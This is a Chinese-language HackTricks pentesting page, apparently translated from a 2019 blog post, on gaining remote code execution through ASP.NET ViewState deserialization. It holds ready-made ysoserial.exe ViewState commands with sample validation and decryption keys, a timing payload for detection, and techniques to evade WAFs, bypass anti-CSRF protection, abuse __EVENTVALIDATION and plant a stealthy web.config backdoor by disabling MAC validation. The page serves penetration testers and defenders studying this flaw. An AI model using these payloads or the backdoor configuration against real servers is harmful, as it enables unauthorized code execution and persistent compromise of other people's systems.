20 KiB
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品The PEASS Family
-
加入 💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的🐦@carlospolopm。
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。
本文内容摘自 https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
介绍
ASP.NET Web应用程序使用ViewState来维护页面状态并在Web表单中持久化数据。
通常情况下,可以在可以伪造有效的ViewState的Web服务器上运行代码。这可以通过禁用MAC验证功能或者知道以下信息来实现:
- 在.NET Framework版本4.5之前,验证密钥及其算法
- 在.NET Framework版本4.5或更高版本中,验证密钥、验证算法、解密密钥和解密算法
为了防止操纵攻击,.NET Framework可以使用LosFormatter
类对已序列化的ViewState进行签名和加密。然后,它使用消息认证码(MAC)验证机制验证签名。ObjectStateFormatter
类执行签名、加密和验证任务。执行签名和/或加密机制所需的密钥可以存储在web.config
(应用程序级别)或machine.config
(机器级别)文件的machineKey
部分中。当多个Web服务器用于服务相同的应用程序时,通常会在Web Farm或集群中的负载均衡器后面使用。以下是使用.NET Framework版本2.0或更高版本的ASP.NET应用程序的配置文件中machineKey
部分的格式示例:
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES" />
应该注意的是,当配置文件中没有定义machineKey
部分或者validationKey
和decryptionKey
属性被设置为AutoGenerate
时,应用程序会根据一个加密随机密钥动态生成所需的值。算法也可以自动选择。目前在最新版本的.NET Framework中,默认的验证算法是HMACSHA256
,默认的解密算法是AES
。更多详细信息请参见[13]。
禁用ViewState MAC验证的RCE
过去,可以通过将enableViewStateMac
属性设置为False
来禁用MAC验证。微软在2014年9月发布了一个补丁[3],以在所有版本的.NET Framework中忽略此属性来强制执行MAC验证。尽管我们中的一些人可能认为“ViewState MAC不能再被禁用”[4],但仍然可以通过在以下位置将AspNetEnforceViewStateMac
注册表键设置为零来禁用MAC验证功能:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
或者,将以下危险设置添加到应用程序级别的web.config
文件中也可以禁用MAC验证:
<configuration>
…
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true" />
</appSettings>
</configuration>
{% hint style="danger" %}
当ViewState MAC验证被禁用时,可以使用YSoSerial.Net项目生成LosFormatter
负载作为ViewState,以在服务器上运行任意代码。
{% endhint %}
在.NET Framework版本4.5之前,__VIEWSTATE
参数可以在MAC验证功能被禁用的情况下进行加密。值得注意的是,大多数扫描器不会尝试发送未加密的ViewState参数来识别此漏洞。因此,需要进行手动测试以检查当__VIEWSTATE
参数被加密时是否禁用了MAC验证。可以通过在__VIEWSTATE
参数中发送一个短的随机base64字符串来进行检查。以下URL显示了一个示例:
https://victim.com/path/page.aspx?__VIEWSTATE=AAAA
如果目标页面响应错误,MAC验证功能已被禁用,否则它会抑制MAC验证错误消息。
然而,在无法看到错误消息的情况下,这个技巧不起作用。
自动化扫描器应该使用导致服务器端短暂延迟的有效负载。可以通过执行以下ASP.NET代码来实现,例如创建一个10秒的延迟:
System.Threading.Thread.Sleep(10000);
string xaml_payload = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:System=""clr-namespace:System;assembly=mscorlib""
xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
<ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
<ObjectDataProvider.MethodParameters>
<System:Int32>10000</System:Int32>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";
启用ViewState MAC验证的RCE
在旧版本(4.5之前),.NET Framework在签名序列化对象时使用**TemplateSourceDirectory
属性【15】。然而,自从4.5版本开始,它使用Purpose
字符串来创建哈希。这两种机制都需要从应用程序目录的根目录获取目标路径和页面名称。这些参数可以从URL中提取出来**。
使用旧框架并强制执行ViewState加密的应用程序仍然可以接受未加密的已签名ViewState。这意味着知道验证密钥及其算法就足够来利用一个网站。似乎自从4.5版本以来,默认情况下ViewState被加密,即使viewStateEncryptionMode
属性已设置为Never
。这意味着在最新的.NET Framework版本中,为了创建有效载荷,还需要解密密钥及其算法。
ASP.NET ViewState包含一个名为ViewStateUserKey
的属性【16】,可用于减轻跨站请求伪造(CSRF)攻击的风险【4】。在ViewState签名过程中,ViewStateUserKey
属性的值(当它不为null
时)也会被使用。虽然不知道此参数的值可能会阻止我们的攻击,但是它的值通常可以在cookie或隐藏输入参数中找到(【17】展示了一个实现示例)。
ViewState YSoSerial.Net插件
在YSoSerial.Net主分支和YSoSerial.Netv2中,您可以找到一个插件(这个和这个),用于在已知所有信息的情况下利用此技术。
对于.NET Framework >= 4.5:
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
对于 .NET Framework <= 4.0(旧版):
这里不需要解密密钥和算法:
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
除了使用不同的gadget之外,还可以使用__VIEWSTATEGENERATOR
参数而不是提供路径:
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
默认情况下,它使用ActivitySurrogateSelector gadget,需要在YSoSerial.Net项目中编译ExploitClass.cs类。当已知解密密钥(decryptionKey)值时,ViewState负载也可以进行加密以避免WAF的检测:
.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
{% hint style="info" %} **注意:**由于YSoSerial.Net中使用的工具的性质,即使在服务器端成功执行了利用,目标ASP.NET页面也会始终响应错误。 {% endhint %}
应用程序路径
为了创建一个有效的ViewState,找到应用程序路径的根目录是很重要的,除非:
- 应用程序使用的是.NET Framework 4.0或更低版本;且
- 已知
__VIEWSTATEGENERATOR
参数。
以下截图显示了IIS中的路径树:
如果您对IIS中的虚拟目录和应用程序术语不熟悉,可以参考[20]。
为了为上述URL生成一个ViewState,--path
和--apppath
参数应该如下所示:
--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
--apppath=/app2/
如果我们不知道“app2”是一个应用程序名称,我们可以使用试错法逐个测试URL中的所有目录名称,直到找到一个可以在服务器上执行代码的ViewState(可能通过获取DNS请求或引起延迟)。
生成器
在这种情况下,可以使用--generator
参数。当已经提供了--path
和--apppath
参数时,可以使用--isdebug
参数来检查插件是否也计算出相同的__VIEWSTATEGENERATOR
参数。
利用旧版本
在撰写本博客文章时,尚未确定可以利用.NET Framework v1.1。
为了利用使用.NET Framework v4.0或更低版本的应用程序,可以使用YSoSerial.Net v2.0分支【21】(最初作为另一项研究的一部分开发【22】)。然而,该项目仅支持有限数量的gadget,并且还需要目标主机安装.NET Framework 3.5或更高版本。
其他工具
看起来Immunity Canvas支持在已知验证和加密密钥的情况下创建ViewState参数【29】。以下工具也在我准备发布我的工作的同时发布,这令人惊讶:
- https://github.com/0xACB/viewgen(使用Python编写)
- https://github.com/Illuminopi/RCEvil.NET(使用.NET编写)
我认为这些工具目前不区分不同版本的.NET Framework,并且针对旧版加密。此外,它们**不使用ViewStateUserKey
**参数,该参数可能用于防止CSRF攻击。
附加提示
使用GET请求
也可以通过GET请求将__VIEWSTATE
参数发送到URL中。唯一的限制因素是URL长度,它限制了可以在此处使用的gadget类型。
在.NET Framework 4.5之前的版本中的加密
如前所述,当利用.NET Framework 4.0及以下版本(在v2.0至v4.0上进行了测试)时,__VIEWSTATE
参数不需要加密,即使已将ViewStateEncryptionMode
属性设置为Always
。ASP.NET通过在请求中查找__VIEWSTATEENCRYPTED
参数(不需要任何值)来决定是否对ViewState进行了加密。因此,可以通过从请求中删除__VIEWSTATEENCRYPTED
参数来发送未加密的ViewState。
这也意味着当验证密钥及其算法被窃取时,更改解密密钥或其算法无法阻止攻击。
可以加密__VIEWSTATE
参数以绕过任何WAF。
绕过反CSRF(反XSRF)机制
当使用无效的__VIEWSTATE
参数时,ASP.NET页面会产生错误。然而,当代码直接使用Request.Form
来接收输入时,页面仍然可以接收其输入,例如使用Request.Form["txtMyInput"]
而不是txtMyInput.Text
。通过从请求中删除__VIEWSTATE
参数或添加具有无效值的__PREVIOUSPAGE
参数,可以实现CSRF攻击。由于__PREVIOUSPAGE
参数默认情况下是加密和base64格式化的,即使提供一个字符作为其值也应该会导致错误。
这可能会绕过通过设置Page.ViewStateUserKey
参数实施的反CSRF保护机制。
使用ViewStateGenerator参数
当已知__VIEWSTATEGENERATOR
参数时,可以在使用.NET Framework版本4.0或更低版本的ASP.NET应用程序中使用它来对序列化对象进行签名,而无需知道应用程序路径。
通过分块绕过WAF
当将**MaxPageStateFieldLength
属性设置为正值时,可以将__VIEWSTATE
参数分成多个部分。其默认值为负值**,这意味着**__VIEWSTATE
参数无法分成多个部分**。
当允许ViewState分块时,这可能对绕过某些WAFs有用。
利用EventValidation参数
__EVENTVALIDATION
参数和其他一些参数与__VIEWSTATE
参数类似地进行序列化,可以类似地进行目标化。通过__EVENTVALIDATION
利用反序列化问题更加受限,需要:
- 一个POST请求
- 一个接受输入参数的ASP.NET页面
- 一个有效的输入参数名称。例如,在服务器端有以下代码时,在POST请求中使用
myinput
参数而不是txtMyInput.Text
。
<asp:TextBox runat="server" ID="myinput" />
__VIEWSTATE
参数的值在利用__EVENTVALIDATION
参数时可以为空,但必须存在。
.NET Framework 4.5及以上版本使用的Purpose
字符串用于创建有效签名,根据使用的参数不同而不同。下表显示了.NET Framework中定义的Purpose
字符串:
输入参数 | Purpose字符串 |
---|---|
“__VIEWSTATE” | WebForms.HiddenFieldPageStatePersister.ClientState |
“__EVENTVALIDATION” | WebForms.ClientScriptManager.EventValidation |
P2 in P1|P2 in “__dv” + ClientID + “__hidden” | WebForms.DetailsView.KeyTable |
P4 in P1|P2|P3|P4 in “__CALLBACKPARAM” | WebForms.DetailsView.KeyTable |
P3 in P1|P2|P3|P4 in “__gv” + ClientID + “__hidden” | WebForms.GridView.SortExpression |
P4 in P1|P2|P3|P4 in “__gv” + ClientID + “__hidden” | WebForms.GridView.DataKeys |
上表显示了所有可能被攻击的输入参数。
注意__PREVIOUSPAGE
参数
当请求中存在具有无效数据的**__PREVIOUSPAGE
参数时,应用程序不会对__VIEWSTATE
**参数进行反序列化。提供__CALLBACKID
参数可以防止这种行为。
错误可靠性
如前所述,我们有时使用错误来检查生成的ViewState是否有效。当使用无效的__VIEWSTATEGENERATOR
参数时,ASP.NET默认情况下不会显示MAC验证错误。当使用ViewStateUserKey
属性时,此行为会发生变化,因为ASP.NET不再抑制MAC验证错误。
此外,即使使用了ViewStateUserKey
属性,ASP.NET Web应用程序也可以通过以下设置忽略MAC验证错误:
<appSettings>
<add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
</appSettings>
将Web.config作为后门
如果攻击者能够更改应用程序根目录下的**web.config
文件,他们可以轻松在服务器上运行代码。然而,对于攻击者来说,在应用程序中嵌入一个隐秘的后门可能是一个不错的选择。这可以通过禁用MAC验证并将viewStateEncryptionMode
属性设置为Always
来实现。这意味着所有未将ViewStateEncryptionMode
属性设置为Auto
或Never
的ASP.NET页面都会始终使用加密的ViewState参数。然而,由于ViewState不使用MAC验证功能,它们现在容易受到通过反序列化不受信任的数据进行远程代码执行的攻击**。以下是一个示例:
<configuration>
…
<system.web>
…
<pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
</system.web>
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="false" />
</appSettings>
</configuration>
另一个独立网站的选择是设置machineKey
部分的任意密钥和算法来阻止其他攻击者!
需要注意的是,将EnableViewState
属性设置为False
并不能阻止此攻击,因为ASP.NET仍然会解析ViewState。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品——The PEASS Family
-
加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。